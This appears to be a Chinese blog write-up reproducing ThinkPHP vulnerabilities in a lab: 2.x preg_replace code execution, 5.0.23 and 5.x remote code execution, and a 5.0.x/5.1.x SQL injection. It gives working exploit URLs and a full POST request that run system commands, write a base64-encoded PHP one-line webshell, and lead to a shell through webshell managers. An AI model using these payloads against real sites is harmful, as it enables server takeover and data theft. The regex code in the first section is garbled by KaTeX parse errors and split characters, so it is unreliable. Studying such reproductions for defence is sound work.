Thinkphp
2.x 任意代码执行
漏洞详情:
ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架。ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
KaTeX parse error: Undefined control sequence: \w at position 23: …reg_replace('@(\̲w̲+)'.depr.’([^’.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[’\1’]="\2";’, implode(
d
e
p
r
,
depr,
depr,paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
implode(
d
e
p
r
,
depr,
depr,paths)作用就是把路径当作参数放进了数组$depr里面
影响范围:
Thinkphp 2.x, ThinkPHP 3.0版本(Lite模式)
漏洞复现:
构造payload:http://192.168.118.147:8080/?s=/Index/index/L/${@phpinfo()}
写入一句话:
http://192.168.118.147:8080/?s=/Index/index/L/KaTeX parse error: Expected '}', got 'EOF' at end of input: {@print(eval(_POST[1]))}
上菜刀,连接,
成功getshell
5.0.23远程代码执行
漏洞概况
攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。
漏洞危害
攻击者可通过该漏洞获取网站的控制权限,可修改页面,导致数据泄漏等问题。
影响版本
5.x < 5.1.31, <= 5.0.23
漏洞复现:
利用system函数远程命令执行
利用bp抓包,修改请求方式,
使用以下poc进行攻击
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.118.147:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Connection: keep-alive
Upgrade-Insecure-Requests: 1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "Lin"
继续利用将echo Lin改为 id ,发现无法回显,状态码为500,试一下其他,whoami等也是入此,只能换个方向。用hackbar吧,反正都是发post包。
使用hackbar,成功了。
使用phpinfo函数验证漏洞
尝试使用echo写入一句话木马,发现失败了,没写进去
换个base64编码,成功写入
使用蚁剑连接(选择base64编码),成功getshell。
5-rce
漏洞原因:
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
漏洞复现:
直接访问http://your-ip:8080
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
,即可执行phpinfo:
修改一下payload,执行system命令,
那就应该和上面的5.0.23一样,只是payload发生了一点变化,但效果是一样的。
那么也应该可以写入一句话getshell,试试咯
http://192.168.118.147:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n MTIzPD9waHAgQGFzc2VydCgkX1BPU1RbJzEnXSk7Pz4xMjM= | base64 -d > 3.php
成功getshell
虽是成功getshell了,但用的方法还是一样的。在csdn上,看到有个博主的新姿势
https://blog.csdn.net/shuaicenglou3032/article/details/109002651
本来也想学着看能不能成功,上面的1、2、4、5php都是失败了的,一直会报错(就是菜),最终还是选择了base64加密写一句话来getshell。还是得多学习才行啊。
In-sqlinjection
漏洞概要:
在 Builder 类的 parseData 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
影响版本:
5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
漏洞复现:
Payload:http://192.168.118.147/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
篇幅有点长,可能有些地方表达的不清楚,还请各位见谅。